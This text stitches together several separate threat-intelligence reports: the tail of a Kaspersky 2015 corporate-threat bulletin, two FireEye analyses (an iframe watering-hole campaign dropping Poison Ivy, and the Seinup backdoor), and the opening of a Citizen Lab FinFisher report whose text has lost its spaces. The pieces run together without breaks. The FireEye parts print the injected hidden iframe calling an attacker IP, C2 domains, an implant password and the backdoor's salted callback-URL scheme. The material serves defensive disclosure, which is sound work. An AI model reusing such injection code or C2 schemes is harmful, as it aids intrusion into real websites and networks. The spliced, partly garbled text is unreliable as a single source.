15 EVOLUTION OF CYBER THREATS IN THE CORPORATE SECTOR One of the most interesting developments of 2015 in this realm has been the emergence of the first Linux encryption malware (Kaspersky Lab products detect it as the verdict Trojan-Ransom.
Linux.
Cryptor), which targets websites, including online stores.
The cybercriminals exploited vulnerabilities in web applications to gain access to websites, and then uploaded a malicious program to the sites that encrypted the server data.
In the majority of cases, this brought the site down.
The cybercriminals demanded a ransom of one bitcoin to restore the site.
Around 2,000websites are estimated to have been infected.
Given the popularity of nix servers in the business environment, it is reasonable to assume that next year there may be more ransomware attacks against non-Windows platforms.
TOP 10 encryptor Trojan families Family  attacked users 1 Scatter 21 2 Onion 16 3 Cryakl 15 4 Snocry 11 5 Cryptodef 8 6 Rakhni 7 7 Crypmod 6 8 Shade 5 9 Mor 3 10 Crypren 2 The proportion of users attacked by malicious programs from this family, as a percentage of all attacked users.
Virtually all the ransomware families in the Top 10 demand ransoms in bitcoins.
The Scatter family of Trojans occupies first place.
They encrypt files on the hard drive and leave encrypted files with the extension .vault.
Scatter Trojans are multi-module, multi-purpose script-based malicious programs.
This malware family has quickly evolved over a short period, developing new Email-Worm and Trojan-PSW capabilities on top of file encryption.
In second place is the Onion family of encryptors, known for the fact that their CC servers are located within the Tor network.
In third place is the Cryakl family of encryptors, which are written in Delphi and emerged back in April 2014.
In some cases, it may be possible to restore the data encrypted by these ransomware programs, usually when there are mistakes of some kind in their algorithms.
However, it is currently impossible to decrypt data that has been encrypted by the latest versions of the malicious programs in the Top 10.
16 KASPERSKY SECURITY BULLETIN 2015 It is important for companies to understand that an infection by malware of this kind can interfere with business operations if critical business data is lost or a critical server operation is blocked due to encryption.
Attacks like this can lead to huge losses, comparable to those caused by the Wiper malware attacks that destroyed data in corporate networks.
To address this threat, a number of measures should be taken: deploy protection against exploits ensure behavioral detection methods are enabled in your security product (in Kaspersky Lab products, this is done in the System Watcher component) configure a data backup procedure.
17 EVOLUTION OF CYBER THREATS IN THE CORPORATE SECTOR ATTACKS ON POS TERMINALS The security of point-of-sale (PoS) terminals has turned into another pressing issue for businesses, especially those involved in trading activities.
Any computer with a special card reader device connected to it and the right software installed can be used as a PoS terminal.
Cybercriminals hunt for these computers and infect them with malicious programs that allow them to steal the details of bank cards used to pay at the terminals.
Kaspersky Labs security products have blocked over 11,500 such attacks across the world.
To date, there are 10 malware families in our collection that are designed to steal data from PoS terminals.
Seven of these emerged this year.
Despite the small number of attacks that are attempted, this risk should not be underestimated, because just one successful attack could compromise the details of tens of thousands of credit cards.
Such a large number of potential victims is possible because business owners and system administrators do not see PoS terminals as devices that require protection.
As a result, an infected terminal could go unnoticed for a long time, during which the malicious program sends the details of all the credit cards passing through the terminal to cybercriminals.
This problem is especially relevant in those countries where cards with EMV chips are not used.
The adoption of EMV chip cards should make it far more difficult to obtain the data required to clone banking cards, although the adoption process could take a long time.
In the meantime, there are some minimum measures that should be taken to protect PoS devices.
Fortunately, for these devices it is fairly easy to configure the default deny security policy, which blocks unknown programs from launching by default.
We expect that in the future cybercriminals will start targeting mobile PoS devices running under Android.
18 KASPERSKY SECURITY BULLETIN 2015 CONCLUSION The data collected from Kaspersky Lab products shows that the tools used to attack businesses differ from those used against home users.
In attacks on corporate users, exploits for office application vulnerabilities are used much more often, malicious files are often signed with valid digital certificates, and cybercriminals try to use legitimate software for their purposes, so they can go unnoticed for longer.
We have also observed strong growth in the numbers of corporate user computers targeted by ransomware.
This also applies to incidents not classified as APT attacks, where cybercriminals merely focus on corporate users, and sometimes on employees of specific companies.
The fact that cybercriminal groups use APT methods and programs to attack businesses takes them to a different level and makes them much more dangerous.
Cybercriminals have begun to use these methods primarily to steal large sums of money from banks.
They can use the same methods to steal a companys money from bank accounts by gaining access to its corporate network.
Cybercriminals rely on exploiting known vulnerabilities to conduct their attacks  this is due to the fact that many organizations are slow to implement software updates on their corporate computers.
In addition, cybercriminals make use of signed malicious files and legitimate tools to create channels for extracting information: these tools include popular remote administration software, SSH clients, password restoration software, etc.
More and more frequently, corporate servers are being targeted by cybercriminals.
Besides stealing data, there have been cases when theattacked servers were used to launch DDoS attacks, or the data on theservers was encrypted for ransom.
Recent developments have shown that this is true for both Windows and Linux servers.
Many of the organizations that suffered attacks have received ransom demands asking for payments in return for halting an ongoing DDoS attack, unblocking encrypted data, or for not disclosing stolen information.
When an organization faces such demands, the first thing they should do is contact law enforcement agencies and computer security specialists.
Even if a ransom is paid, the cybercriminals may still not fulfil their promise, as was the case with the ProtonMail DDoS attack that continued after a ransom was paid.
http://www.zdnet.com/article/crypto-ransomware-strikes-linux-but-attackers-botch-private-key/ https://threatpost.com/protonmail-back-online-following-six-day-ddos-attack/115303/ 19 EVOLUTION OF CYBER THREATS IN THE CORPORATE SECTOR PREDICTIONS Growing numbers of attacks against financial organizations, financial fraud on exchange markets In the coming year, we expect to see growing numbers of attacks launched against financial organizations, as well as a difference in the quality of these attacks.
Besides transferring money to their own accounts and converting it to cash, we may also see cybercriminals employing some new techniques.
These could include data manipulation on trading platforms where both traditional and new financial instruments, such as cryptocurrencies, are traded.
Attacks on infrastructure Even if an organization is difficult to penetrate, it is now typical for organizations to store their valuable data on servers located in data centers rather than on the infrastructure located on their own premises.
Attempts to gain unauthorized access to these outsourced components of a companys infrastructure will become an important attack vector in 2016.
Exploiting IoT vulnerabilities to penetrate corporate networks IoT (Internet of Things) devices can be found in almost every corporate network.
Research conducted in 2015 has shown that there are a number of security problems with these devices and cybercriminals are likely to exploit them because they offer a convenient foothold at the initial stage of penetrating a corporate network.
More rigid security standards, cooperation with law enforcement agencies In response to the growing number of computer incidents in business environments and the changes to the overall cyber-threat landscape, regulatory authorities will develop new security standards and update those already in effect.
Organizations that are interested in the integrity and security of their digital values will cooperate more actively with law enforcement agencies, or find themselves obliged to do so by the standards mentioned above.
This may lead to more concerted efforts to catch cybercriminals, so expect to hear about new arrests in 2016.
20 KASPERSKY SECURITY BULLETIN 2015 WHAT TO DO?
In 2015, we have seen cybercriminals begin to actively use APT attack methods to penetrate company networks.
We are talking here about reconnaissance that aims to identify weak spots in a corporate infrastructure and gathering information about employees.
There is also the use of spear phishing and waterhole attacks, the active use of exploits to execute code and gain administrator rights, the use of legitimate software along with Trojans for remote administration, research of the targeted network and abuse of password restoration software.
Allthis requires the development of methods and techniques to protect corporate networks.
As for specific recommendations, the TOP 35 cyber-intrusion mitigation strategies developed by the Australian Signals Directorate (ASD) should be consulted first of all.
Through comprehensive, detailed analysis of local attacks and threats, ASD has found that at least 85 of targeted cyber intrusions could be mitigated by four basic strategies.
Three of them are related to specialized security solutions.
Kaspersky Lab products include technological solutions to cover the first three major strategies.
Below is a list of the four basic strategies that reduce the possibility of a successful targeted attack: Use application whitelisting to help prevent malicious software and unapproved programs from running Patch applications such as Java, PDF viewers, Flash, web browsers and Microsoft Office Patch operating system vulnerabilities Restrict administrative privileges to operating systems and applications, based on user duties.
For detailed information about the ASD mitigation strategies, consult the threat mitigation article in the Securelist encyclopedia.
Another important factor is the use of the latest threat data, i.e.
threat intelligence services (Kaspersky Lab, for example, provides its own Kaspersky Intelligence Service).
A timely configuration and checkup of the corporate network using this data will help protect against attacks or detect an attack at an early stage.
https://securelist.com/blog/software/69887/how-to-mitigate-85-of-threats-with-only-four-strategies/ https://securelist.com/blog/software/69887/how-to-mitigate-85-of-threats-with-only-four-strategies/ https://securelist.com/threats/strategies-for-mitigating-advanced-persistent-threats-apts/ http://www.kaspersky.com/business-security/entrp/apt http://www.kaspersky.com/business-security/entrp/apt 21 EVOLUTION OF CYBER THREATS IN THE CORPORATE SECTOR The basic principles of ensuring security in corporate networks remain unchanged: Train staff.
Maintaining information security is not only the job of the corporate security service but also the responsibility of every employee.
Organize security procedures.
The corporate security system must provide an adequate response to evolving threats.
Use new technologies and methods.
Each added layer of protection helps reduce the risk of intrusion.
22 KASPERSKY SECURITY BULLETIN 2015 DailyBusinessAcademyThreatPostEugeneSecureList Securelist, the resource for KasperskyLab experts technicalresearch, analysis, and thoughts.
Follow us Kaspersky Lab global Website DailyBusinessAcademyThreatPostEugene  Eugene Kaspersky Blog Daily  Kaspersky Lab B2C Blog DailyBusiness  Kaspersky Lab B2B Blog DailyBusinessAcademyThreatPost  Kaspersky Lab security news service DailyBusinessAcademy  Kaspersky Lab Academy https://securelist.com/ https://securelist.com/ https://twitter.com/securelist https://www.facebook.com/securelist http://www.kaspersky.com/ http://www.kaspersky.com/ http://eugene.kaspersky.com/ http://eugene.kaspersky.com/ http://blog.kaspersky.com/ http://blog.kaspersky.com/ http://business.kaspersky.com/ http://business.kaspersky.com/ https://threatpost.com/ https://threatpost.com/ http://academy.kaspersky.com/ http://academy.kaspersky.com/ The year in figures Targeted attacks on businesses: APTandcybercriminals Statistics Online threats (Web-based attacks) Local threats Characteristics of attacks on businesses Use of exploits in attacks on businesses Ransomware Attacks on PoS terminals Conclusion Predictions What to do?
Aided Frame, Aided Direction (Because its a redirect) Introduction: On September 24 2014, FireEye observed a new strategic web compromise (SWC) campaign that we believe is targeting non-profit organizations and non-governmental organizations (NGO) by hosting iframes on legitimate websites.
The compromised websites contained an iframe to direct site visitors to a threat actor-controlled IP address that dropped a Poison Ivy remote access tool (RAT) onto victims systems.
FireEye has not yet attributed this activity though we have identified links to the Sunshop Digital Quartermaster, a collective of malware authors that supports multiple China-based advanced persistent threat (APT) groups.
FireEye previously established detection measures for this threat activity, ensuring our clients were prepared for these intrusion attempts well in advance of threat actor implementation.
Activity Overview: On September 24, FireEye observed SWCs, likely conducted by a unitary threat group based on shared infrastructure and tools, on at least three different websites: an international non-profit organization that focuses on environmental advocacy, and two different NGOs that promote democracy and human rights.
The group was able to compromise these websites and insert malicious iframes.
Figure 1 displays one of the iframes.
The threat group obfuscated the iframe on two of the compromised websites.
div classviews-field views-field-body       div classfield- contentpiframe height0 srchttp://103.27.108.45/img/js.php width0/iframe/p Figure 1: The iframe that directed website visitors to a threat actor-controlled IP address The iframes on these websites directed visitors to Java exploits hosted at 103.27.108.45.
In turn, these exploits downloaded and decoded a payload hosted at: hxxp://103.27.108.45/img/js.php.
A GET request to this URI returned the following content: applet codeNvTest.class,height200 width200 .param namebin value4D5A90 Figure 2: The encoded payload (snipped for brevity) The bin param shown in Figure 2 is decoded from ASCII into hex by the Java exploit.
Once decoded, FireEye identified the payload as a Poison Ivy variant.
It had the following properties: MD5                  118fa558a6b5020b078739ef7bdac3a1 http://www.fireeye.com/resources/pdfs/fireeye-malware-supply-chain.pdf Size                 25608 bytes Compile Time         2014 09 15 08:21:23 Import Hash          09d0478591d4f788cb3e5ea416c25237 The Poison Ivy variant was also code signed with the below certificate: SHA1                     47:8C:E3:D6:CC:17:60:D3:27:14:6A:36:C9:88:77:4D:27:83:6A:D4 MD5                       82B582589D4A59BE0720F088ACAC67A3 Serial Number             581AE6B6ABAFD73AC85B1AEFBDB2555F Common Name               zilliontek Co.,Ltd Organization             zilliontek Co.,Ltd Country                   KR State/Province           Gyeonggi-do City                      Suwon-si Issue Date               Jan 12 00:00:00 2013 GMT Expiration Date           Feb 20 23:59:59 2015 GMT The backdoor also contained the below versioning info embedded in the RT_VERSION of one of the PE resources: LegalCopyright: Copyright 2012 Google Inc. All rights reserved.
InternalName: chrome_exe ProcuctShortName: Chrome FileVersion: 34.0.1847.131 CompanyName: Google Inc. OrginaLFilename: chrome.exe LegalTrademarks: ProductName: Google Chrome ComparyShortName: Google LastChange: 265687 FileDescription: Google Chrome Offcial Build: 1 PriductVersion: 34.0.1847.131 Translation: 00409 0x04b0 This versioning info attempted to masquerade as a Google Chrome file.
However, the malware author misspelled multiple words when attempting to put in versioning information for this particular build.
The Poison Ivy implant had the following configuration properties: C2: quakegoogle.servequake.com, Port: 80 Password: qeTGd3485fF Mutex: )VoqA.I4 The C2 domain quakegoogle.servequake[.
]com resolved to 115.126.62.100 at the time of the SWCs.
Other domains resolving to the same IP include the following: assign.ddnsking.com quakegoogle.servequake.com picsgoogle.servepics.com Figure 3: Domains observed resolving to 115.126.62.100 Between August 30, 2014 and September 16, 2014 we also observed SOGU (aka Kaba) callback traffic sent to assign.ddnsking.com over port 443.
Links to the Sunshop Digital Quartermaster The Poison Ivy backdoor also had a RT_MANIFEST PE resource with a SHA256 fingerprint of 82a98c88d3dd57a6ebc0fe7167a86875ed52ebddc6374ad640407efec01b1393.
This same RT_MANIFEST resource was documented in our previous Sunshop Digital Quartermaster report.
FireEye previously identified this specific RT_MANIFEST as the Sunshop Manifest, and we have observed this same manifest resource used in 86 other samples.
As we stated in the Quartermaster report, we believe this shared resource is an artifact of a builder toolkit made available to a number of China- based APT groups.
Conclusion This activity represents a new SWC campaign.
We suspect threat actors are leveraging their access to compromised websites belonging to NGOs and non-profits to target other organizations in the same industries.
These websites are often visited by organization employees and other organizations in the same industries, allowing threat actors to move laterally within already compromised networks or gain access to new networks.
While FireEye has not attributed this activity to a specific threat group, we frequently observe China-based threat actors target non-profits and NGOs, and we suspect that they seek to monitor activity within their borders that may lead to domestic unrest or embarrass the Chinese government.
For example, in 2013, FireEye observed China-based threat actors steal grant applications and activity reports specifically related to an international NGOs China-based activities.
We suspects threat actors sought to monitor these programs and involved individuals.
The three organizations whose websites are hosting the malicious iframes have China-based operations.
FireEye is releasing information on this campaign to allow organizations to investigate and prepare for this activity in their networks.
We believe non-profits and NGOs remain at elevated risk of intrusion and should be especially wary of attempts to compromise their networks using SWC.
Threat actors may use SWCs to achieve this goal, but FireEye does not discount the possibility that threat actors will use other means at their disposal, including phishing.
Based on past threat actor activity in this industry, FireEye expects threat actors are motivated to steal programmatic data and monitor organizations programs in specific countries.
If China-based threat actors are behind the observed campaign, FireEye expects that organizations with operations in China are high-priority targets.
FireEye currently has detection measures in place that should allow users of FireEye products to detect this SWC activity.
It is also likely that other industries or organizations were affected by this SWC activity, since these sites are public facing and frequently visited.
Special thanks to Googles Billy Leonard for providing additional information and research.
Thanks to the following authors for their contributions: Mike Oppenheim, Ned Moran, and Steve Stone.
This entry was posted in Threat Intelligence, Threat Research by Sarah Engle and Ben Withnell.
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Trojan.
APT.Seinup Hitting ASEAN 1.
Executive Summary The FireEye research team has recently identified a number of spear phishing activities targeting Asia and ASEAN.
Of these, one of the spear phishing documents was suspected to have used a potentially stolen document as a decoy.
The rich and contextual details (body and metadata) which are not available online lead us to believe this was stolen.
This decoy document mentioned countries such as Brunei, Cambodia, Indonesia, Laos, Malaysia, Myanmar, Philippines, Singapore, Thailand, and Vietnam, which leads us to suspect that these countries are targeted.
As the content of this decoy document is suspected to be a stolen sensitive document, the details will not be published.
This malware was found to have used a number of advance techniques which makes it interesting: 1.
The malware leverages Google Docs to perform redirection to evade callback detection.
This technique was also found in the malware dubbed Backdoor.
Makadocs reported by Takashi Katsuki (Katsuki, 2012).
2.
It is heavily equipped with a variety of cryptographic functions to perform some of its functions securely.
3.
The malicious DLL is manually loaded into memory which hides from DLL listing.
As depicted in the diagram below, the spear phishing document (which exploits CVE-2012-0158) creates a decoy document and a malware dropper named exp1ore.exe.
This dropper will then drop wab.exe (Address Book Application) and wab32res.dll (malicious DLL) inside the temp folder.
By running wab.exe, the malicious DLL named wab32res.dll (located within the same folder) will be loaded using DLL side-loading technique.
This will in turn install a copy of wab32res.dll as msnetrsvw.exe inside the windows directory to be registered as Windows service.
By registering as a Windows service, it allows the malware to survive every reboot and persist on the network.
Figure 1 Infection Flow This malware is named Trojan.
APT.Seinup because one of its export functions is named seinup.
This malware was analysed to be a backdoor that allows the attacker to remote control the infected system.
http://www.fireeye.com/blog/wp-content/uploads/2013/06/1.MalwareFlow.jpg Figure 2 Exported Functions 2.
Related APT Domain and MD5 Based on our threat intelligence and reverse-engineering effort, below are some related domain and MD5 sums.
Please note that some of the domain/IP association may change.
2.1.
Related Domain Domain/URL IP Country Comments elizabearden.com 124.172.243.211 CN Registrar: XIN NET TECHNOLOGY CORPORATIONEmail: liangcheng04sina.com dnsserviceonline.com 50.117.115.83 CN Registrar: XIN NET TECHNOLOGY CORPORATIONEmail: liangcheng04sina.com50.117.115.84 50.117.120.235 69.46.84.51 symteconline.com 175.100.206.183 CN Registrar: XIN NET TECHNOLOGY CORPORATIONEmail: Smartwise9851yahoo.com winshell.net 58.64.190.34 HK Registrar: SHANGHAI MEICHENG TECHNOLOGY INFORMATION DEVELOPMENT CO.,
LTD.Email: richardmatindyahoo.com philnewsonline.com 50.93.198.128 US Registrar: GODADDY.COM, LLCEmail: woooyeahh11yahoo.com www.info-week.com 173.254.197.213 US Registrar: GODADDY.COM, LLCEmail: woooyeahh11yahoo.com go-twitter.com 50.93.198.113 US Registrar: GODADDY.COM, LLCEmail: woooyeahh11yahoo.com 2.2.
Associated Files Name MD5 Comments Spear-phishing document and decoy document CONFIDENTIAL CONFIDENTIAL iexp1ore.exe 137F3D11559E9D986D510AF34CB61FBC Dropper wab.exe CE67AAA163A4915BA408B2C1D5CCC7CC Benign Address Book Application wab32res.dll FB2FA42F052D0A86CBDCE03F5C46DD4D Malware to be side loaded when wab.exe is launched.
msnetrsvw.exe FB2FA42F052D0A86CBDCE03F5C46DD4D Malware to be installed as a service.
Note: This is the same as wab32res.dll.
baf227a9f0b21e710c65d01f2ab01244 Calls to www.elizabearden.com:80 0845f03d669e24144df785ee54f6ad74 Calls to www.dnsserviceonline.com:80 d64a22ea3accc712aebaa047ab818b07 Calls to www.elizabearden.com:80 56e6c27f9952e79d57d0b32d16c26811 Calls to www.elizabearden.com:80 cdd969121a2e755ef3dc1a7bf7f18b24 Calls to www.elizabearden.com:80 709c71c128a876b73d034cde5e3ec1d3 Calls to www.dnsserviceonline.com:80 3.
Interesting Technical Observations 3.1.
Redirection Using Google Docs By connecting the malicious server via Google Docs, the malicious communication is protected by the legitimate SSL provided by Google Docs (see Figure below).
One possible way to examine the SSL traffic is to make use of a hardware SSL decrypter within an organisation.
Alternatively, you may want to examine the usage pattern of the users.
Suppose a particular user accesses Google Docs multiple times a day, the organizations Incident Response team may want to dig deeper to find out if the traffic is triggered by a human or by malware.
http://www.fireeye.com/blog/wp-content/uploads/2013/06/2.ExportedFunctions.jpg Figure 3 Retrieve Command via Google Docs Below is the code that is used to construct a URL that retrieves command via Google Docs.
First, the malicious URL is constructed and then encoded.
Next, the malware simply leverages the Google Docs viewer to retrieve the command from the malicious server (see Figure below).
Figure 4 View Command via GoogleDocs 3.2.
Zero-Skipping XOR Encryption The shellcode encryption technique is fairly standard.
The shellcode has a decryption stub which decrypts its body using the XOR key 0x9E, and this shellcode is used to extract exp1ore.exe(malware) and Wor.doc (benign document).
The exp1ore.exe and Wor.doc were found within the spear phishing document encrypted using the same key (0xFC) and technique.
The XOR key decrypts only a non-zero byte (see Figure 5).
This prevents statistical methods of recovering the XOR key.
The encrypted executable file and benign document were identified to be located inside the spear phishing document at offsets 02509 and 043509 respectively.
Figure 5 Zero Skipping XOR Encryption Even though statistical methods may not be useful in identifying the XOR key as the zero bytes are not encrypted, we could use some of the known strings below to hunt for the XOR key in this situation.
By sliding the known string across the array of bytes to perform a windowed XOR, the key would be revealed when the encoded data is XORed with the known string.
http://www.fireeye.com/blog/wp-content/uploads/2013/06/Retrieve-Command.jpg http://www.fireeye.com/blog/wp-content/uploads/2013/06/4.GoogleDocs.jpg http://www.fireeye.com/blog/wp-content/uploads/2013/06/5.ZeroSkipping.jpg This program cannot be run in DOS mode KERNEL32.dll LoadLibraryA 3.3.
Deployment of Various Cryptographic Functions 3.3.1.
Secure Callback The malware performs the callback in a secure manner.
It uses a custom Base64 map to encode its data, and creates a salted digital thumbprint to allow validation of data.
Below describes the steps to validate a callback using an example of the following URL: hxxp://www.elizabearden.com/waterphp/BYyH.php?
dEIXozUlFzx5PwDq6QeZky42OCQOLQuZ6dC2LQ7F56iAv6GpH6Sw8npH5oAZkk4fJdSp7cc3237bc79192a096440faca0fdae10GvQF2lotIr5bT2 The URL could be generalised as follows: Domain/PHP?rand 11-13 charArand 3-5 charBrand 7-9 charCrand 14-16 charsD The definition of A, B, C and D are as follows: Let H be the function which encodes binary into hexadecimal characters prepend with , if it is not alphanumeric, dash, underscore or dot.
Let B64 be the base 64 encoder using the following custom map, URPBnCF1GuJwH2vbkLN6OQ/5S9TVxXKZaMc8defgiWjmo7pqrAstyz0DEl3I4hY.
Let PT be the plain text which is in the form of HostName[RunType]:IPAddress1, where HostName and IPAddress are string, and RunType is a character.
Let A be the random of 3 to 7 characters, and A  H(A) Let B be B64 (PT), and B  H(B) Let C be 32 char deliminator, and C  H(C) Let D be H( MD5 ( salt   MD5 ( B64(PT)  A  C )  )   ), salt  HFH)FJK)234sd2NC(JGl2z94cg23  , and D  H(D) Hence, in this case, the specific malicious URL could be applied as follows: Domain/PHP    http://www.elizabearden.com/waterphp/BYyH.php A  5Pb B  6QeZky42OCQOLQuZ6dC2LQ7F56iAv6GpH6S2Bw8npH5oAZk C  cc3237bc79192a096440faca0fdae107 D  349118df672db38f9e65659874b60b27  (This is the digital signature) The hash could be verified as follow: B64(PT)  A  C  6QeZky42OCQOLQuZ6dC2LQ7F56iAv6GpH6Sw8npH5oAZk   5Pb  cc3237bc79192a096440faca0fdae107 MD5 (B64(PT)  A  C)  766cf9e96c1a508c59f7ade1c50ecd28 MD5 (salt  MD5(B64(PT)  A  C))    MD5 ( HFH)FJK)234sd2NC(JGl2z94cg23  766cf9e96c1a508c59f7ade1c50ecd28) 349118df672db38f9e65659874b60b27 (This equals to D, which means verified) The encoded plain text (B) could be recovered: B64(PT)  6QeZky42OCQOLQuZ6dC2LQ7F56iAv6GpH6Sw8npH5oAZk PT  MY_COMPUTER_NAME[F]:192.168.1.11, where MY_COMPUTER_NAME is the hostname, F is the run type, 192.168.1.1 is the IP address.
Note: This example is mocked up using a dummy computer name and IP address.
The python code below could be used to decode the custom encoded string (see Figure below).
Figure 6 Python to Decode a Custom Base 64 3.3.2.
Random Generator Using Mersenne Twister Algorithm The malware was found to perform a callback at random intervals so as to evade network investigation when looking for network connections that are performed in a regular interval.
Additionally, even the name of the parameters in the get string have a random length and name, which makes it hard to create a fix signature to detect such callbacks (see  3.3.1 to understand how a callback is created).
Figure 7 Mersenne Twister Algorithm Seeding function 3.4.
In-Memory Only Malicious Code On the disk, the malicious code is either encrypted or compressed to evade scanning using signature rules.
Only upon being loaded into memory, does the malicious code (that appears to be in the form of a DLL) get manually loaded without the use of Windows 32 API.
In this way, when an investigation is performed, the malicious DLL is not revealed.
Additionally, it makes it much harder for analysis to be performed.
Figure 8 Segments in the memory which contains the malicious code Taking a deeper look at the decrypted malicious code, this malware was found to contain at least the following functions: Download file Download and execute or load library Change sleep duration Open and close interactive sessions 4.
Conclusion Malware is increasingly becoming more contextually advanced.
It attempts to appear as much as possible like legitimate software or documents.
In this example, we would conclude the following.
1.
A potentially stolen document was used as a decoy document to increase its credibility.
It is also a sign that the compromised organisations could be used as a soft target to compromise their business partners and allies.
2.
It is important to put a stop to the malware infection at the very beginning, which is the exploitation phase.
Once a network is compromised, it is increasingly harder to detect such threats.
3.
Anti-incident response/forensic techniques are increasingly used to evade detection.
It would require a keen eye on details and a wealth of experience to identify all http://www.fireeye.com/blog/wp-content/uploads/2013/06/6.PythonCode.jpg http://www.fireeye.com/blog/wp-content/uploads/2013/06/7.Mersenne_twister.jpg http://www.fireeye.com/blog/wp-content/uploads/2013/06/8.ZC_Loader.jpg these advance techniques.
5.
Works Cited Carnegie Mellon University.
(
n.d.).
Retrieved from http://www.cs.cmu.edu/fp/courses/15122-f10/misc/rand/mersenne.c0 Katsuki, T. (19 Nov, 2012).
Malware Targeting Windows 8 Uses Google Docs.
Retrieved from http://www.symantec.com/connect/blogs/malware-targeting-windows-8- uses-google-docs-0 I would like to thank several colleagues for their significant contributions on this post: Darien Kindlund, Ned Moran, Nart Villeneuve, and Thoufique Haq.
4/10/2016 Mapping FinFishers Continuing Proliferation Research Projects Publications Archives Teaching GLA2010 News IntheNews Newsletter Events Lab About People Opportunities Contact PayNoAttentiontotheServerBehindtheProxy:Mapping FinFishersContinuingProliferation October15,2015 Categories:AdamSenft,BillMarczak,IrenePoetranto,JohnScottRailton,ReportsandBriefings,ResearchNews,SarahMcKune Authors:BillMarczak,JohnScottRailton,AdamSenft,IrenePoetranto,andSarahMcKune MediaCoverage:AssociatedPress,TheHill,Motherboard,TheDailyCaller,Hespress,WashingtonPost,Quartz,ZDNet, Softpedia,LaPrensaGrafica.
ThispostdescribestheresultsofInternetscanningwerecentlyconductedtoidentifytheusersofFinFisher,asophisticated anduserfriendlyspywaresuitesoldexclusivelytogovernments.
WedeviseamethodforqueryingFinFishersanonymizing proxiestounmaskthetruelocationofthespywaresmasterservers.
Sincethemasterserversareinstalledonthepremises ofFinFishercustomers,tracingtheserversallowsustoidentifywhichgovernmentsarelikelyusingFinFisher.
Insomecases, wecantracetheserverstospecificentitiesinsideagovernmentbycorrelatingourscanresultswithpubliclyavailable sources.
Ourresultsindicate32countrieswhereatleastonegovernmententityislikelyusingthespywaresuite,andweare furtherabletoidentify10entitiesbyname.
Despitethe2014FinFisherbreach,andsubsequentdisclosureofsensitive customerdata,ourscanninghasdetectedmoreserversinmorecountriesthaneverbefore.
ExecutiveSummary FinFisherisasophisticatedcomputerspywaresuite,writtenbyMunichbasedFinFisherGmbH,andsoldexclusivelyto governmentsforintelligenceandlawenforcementpurposes.
Althoughmarketedasatoolforfightingcrime,1thespywarehasbeen involvedinanumberofhighprofilesurveillanceabuses.
Between2010and2012,BahrainsgovernmentusedFinFishertomonitor someofthecountrystoplawfirms,journalists,activists,andoppositionpoliticalleaders.2EthiopiandissidentsinexileintheUnited Kingdom3andtheUnitedStates4havealsobeeninfectedwithFinFisherspyware.
In2012and2013,CitizenLabresearchersandcollaborators,5publishedseveralreportsanalyzingFinFisherspyware,and conductedscanningthatidentifiedFinFishercommandandcontrol(CC)serversinanumberofcountries.
Inourprevious research,wewerenotyetabletodifferentiatebetweenFinFisheranonymizingproxiesandmasterservers,adistinctionthatwe makeinthiswork.
WhenagovernmententitypurchasesFinFisherspyware,theyreceiveaFinSpyMasteraCCserverthatisinstalledonthe entityspremises.6Theentitymaythensetupanonymizingproxies(alsoreferredtoasproxiesorFinSpyRelaysinthe FinFisherdocumentation),toobscurethelocationoftheirmaster.
Infectedcomputerscommunicatewiththeanonymizingproxy, whichisusually7setuponaVirtualPrivateServer(VPS)providerinathirdcountry.
Theproxythenforwardscommunications betweenavictimscomputerandtheMasterserver.
WefirstdescribehowwescannedtheInternetforFinFisherserversanddistinguishedmastersfromproxies(Part1:Fishingfor FinFisher).Wethenoutlineourfindingsregarding32governmentsand10specificgovernmententitiesthatwebelieveareusing FinFisher(Part2:CountryFindings).Finally,wehighlightseveralcasesthatilluminateconnectionsbetweendifferentthreat actors(Part3:ADeeperAnalysisofSeveralCases),beforeconcluding(Conclusion).
Part1:FishingforFinFisher Search https://citizenlab.org/projects https://citizenlab.org/publications https://citizenlab.org/archives https://citizenlab.org/gla2010 https://citizenlab.org/category/media https://citizenlab.org/newsletter https://citizenlab.org/category/events https://citizenlab.org/about https://citizenlab.org/people https://citizenlab.org/opportunities https://citizenlab.org/contact/ https://citizenlab.org/category/author/adam-senft/ https://citizenlab.org/category/author/bill-marczak/ https://citizenlab.org/category/author/irene-poetranto/ https://citizenlab.org/category/author/john-scott-railton/ https://citizenlab.org/category/research-news/reports-briefings/ https://citizenlab.org/category/research-news/ https://citizenlab.org/category/author/sarah-mckune/ http://bigstory.ap.org/article/a46ad09bfcc142909deaadfac7504b8a/despite-exposure-new-nations-joining-cyberespionage-game http://thehill.com/policy/cybersecurity/256997-digital-snooping-spreading-to-smaller-countries http://motherboard.vice.com/read/researchers-find-impossible-to-trace-spyware-in-32-countries http://dailycaller.com/2015/10/15/theres-a-cyber-surveillance-arms-race-raging-in-the-third-world/ http://www.hespress.com/hi-tech/280711.html https://www.washingtonpost.com/news/the-switch/wp/2015/10/16/spyware-sold-to-governments-still-spreading-despite-hacks-against-vendors/ http://qz.com/525946/african-governments-are-stepping-up-surveillance-of-their-own-people/ http://www.zdnet.com/article/in-hacking-teams-wake-finfisher-spyware-rises-in-popularity-with-government-users/ http://news.softpedia.com/news/finfisher-spyware-becomes-more-popular-among-government-agencies-494765.shtml http://www.laprensagrafica.com/2015/10/21/32-paises-espian-a-sus-ciudadanos-con-finfisher https://citizenlab.org/ 4/10/2016 Mapping FinFishers Continuing Proliferation Part1:FishingforFinFisher Inthissection,wedescribeourscansforFinFisherservers,andhowweunmaskedthetruelocationofthemasterserversto identifygovernmentsusingFinFisher.
EachFinFishersampleincludestheaddressofoneormoreCCserversthatthespywarereportsbackto.
TheseCCserversare typicallyFinSpyRelays,whichforwardconnectionsbackandforthbetweenadeviceinfectedwithFinFisher,andaFinSpyMaster.
ThepurposeoftheFinSpyRelayisexplicitlytomakeitpracticallyimpossible(theiremphasis)foraresearchertodiscoverthe locationandcountryoftheHeadquarter[sic].8 Figure1:HowtargetsinfectedwithFinFishercommunicatewiththeFinSpyMasterviaoneormoreFinSpyRelays.9 Weemployedzmap10toscantheentireIPv4Internet(/0)severaltimessincetheendofDecember2014andthroughout2015, usinganewFinFisherserverfingerprintthatwedevisedbyanalyzingFinFishersamples.
Ourscansyielded135serversmatching ourfingerprint,whichwebelieveareamixofFinSpyMastersandFinSpyRelays.
WhenonequeriesaFinFisherserver,ortypestheserversaddressintoawebbrowser,theservertypicallyreturnsadecoypage.
A decoypageisapagedesignedtodisguisethefactthattheserverisaspywareserver.
Wefoundsomevariationinthedecoy pagesusedbyFinFisherserversthatwedetected,thoughthebulkusedeitherwww.google.comorwww.yahoo.com.
Peculiarly, FinSpyRelaysappeartoreturndecoypagesfetchedbytheirFinSpyMaster,ratherthandirectlyfetchingthedecoypages themselves.
